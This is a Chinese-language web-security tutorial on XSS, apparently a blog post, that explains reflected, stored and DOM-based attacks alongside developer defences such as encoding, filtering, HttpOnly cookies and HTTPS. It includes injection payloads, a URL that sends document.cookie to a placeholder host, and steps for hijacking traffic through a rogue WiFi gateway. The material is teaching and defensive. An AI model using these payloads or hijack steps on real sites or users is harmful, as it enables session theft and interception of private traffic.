web安全之XSS

XSS: (Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。

指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等。

一、产生原因

假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

攻击的威力,取决于用户输入了什么样的脚本

HTML Encode

XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

二、攻击场景

  • Reflected XSS(基于反射的XSS攻击)
  • Stored XSS(基于存储的XSS攻击)
  • DOM-based or local XSS(基于DOM或本地的XSS攻击)

1. Reflected XSS

  主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。

  假如在某搜索网站搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。

  当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:

http://www...../search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script> 

  开发安全措施:

  1) 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。

  2) 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。

2. Stored XSS

  通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。

  例子:

  1. 发一篇文章,里面包含了恶意脚本

今天天气不错啊!<script>alert('handsome boy')</script>

  2. 后端没有对文章进行过滤,直接保存文章内容到数据库。

  3. 当其他看这篇文章的时候,包含的恶意脚本就会执行。

  PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。

  结论:

  后端尽可能对提交数据做过滤,在场景需求而不过滤的情况下,前端就需要做些处理了。

  开发安全措施:

  1) 首要是服务端要进行过滤,因为前端的校验可以被绕过。

  2) 当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。

3. Dom-Based XSS

  基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。

  例子1:

  1) 提供一个免费的wifi。

  2) 开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。

  3) 之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。

  4) 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。

  5) 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。

  这个其实就是wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。

  结论:

  这攻击其实跟网站本身没有什么关系,只是数据被中间人获取了而已,而由于HTTP是明文传输的,所以是极可能被窃取的。

  开发安全措施:

  1. 使用HTTPS!HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。

漏洞恢复

  • 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  • 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  • 对数据进行Html Encode 处理
  • 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  • 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

参考链接

http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

http://www.cnblogs.com/lovesong/p/5199623.html

https://www.cnblogs.com/index-html/p/wifi_hijack_3.html

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Chrome 隐身模式可能没有你想得那么能保护个人隐私

    据外媒报道,大多数用户在用Chrome上网时都对它的隐身(Incognito)模式抱着合理的期待,但来自行业组织Digital Content Next委托的一...

    周俊辉
  • burpsuite检测xss漏洞 burpsuite实战指南

    XSS(跨站脚本攻击)漏洞是Web应用程序中最常见的漏洞之一,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的ht...

    周俊辉
  • xss的攻击方式

    发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传

    周俊辉
  • web安全之XSS

    XSS: (Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。

    超然
  • Web前端安全之跨站脚本攻击实战

    Web前端安全之跨站脚本攻击(XSS)实战 本人入职后即加入公司的某个内部项目开发,在开发的过程中,本人发现,可能是内部项目的原因,不管是前端研发人员还是后端研...

    企鹅号小编
  • 小程序界的 Airbnb!为了帮你省房费,他们竟想出了这种方法 | 晓组织 #22

    中国每天有超过 240 万单独出行的用户入住酒店,但是酒店房型 95% 以上是双人配置的酒店标准间,因为这是酒店行业最灵活也最标准化的方案,没有酒店会牺牲标准化...

    知晓君
  • 微信老外产品经理:《中国移动应用设计趋势》

    编者按:本文作者 Dan Grover 是一名产品设计师、工程师和企业家,现在是腾讯微信项目的产品经理。2014年 底,他写过一篇《中国移动应用设计趋势》,引起...

    GavinZhou
  • 编程高手为啥都喜欢耍脚本?

    脚本编程几乎在每一个平台上都存在,这是因为利用脚本常常会简化、加快很多批量处理的工作,它能实现很多传统编程语言的功能,但是对编写者却不需要关心什么编译器、解释器...

    程序员互动联盟
  • 三歪用了10分钟写完了一个需求

    每个公司都会发短信,对的吧?所以一般的公司都会有一个发短信的平台(我司有一个系统整合了所有的消息下发,取了一个名字叫做「消息管理平台」)。

    Java3y
  • Uber提出SBNet:利用激活的稀疏性加速卷积网络

    选自Uber 作者:Mengye Ren、Andrei Pokrovsky、Bin Yang、Raquel Urtasun 机器之心编译 参与:Panda 自动...

    企鹅号小编

扫码关注云+社区

领取腾讯云代金券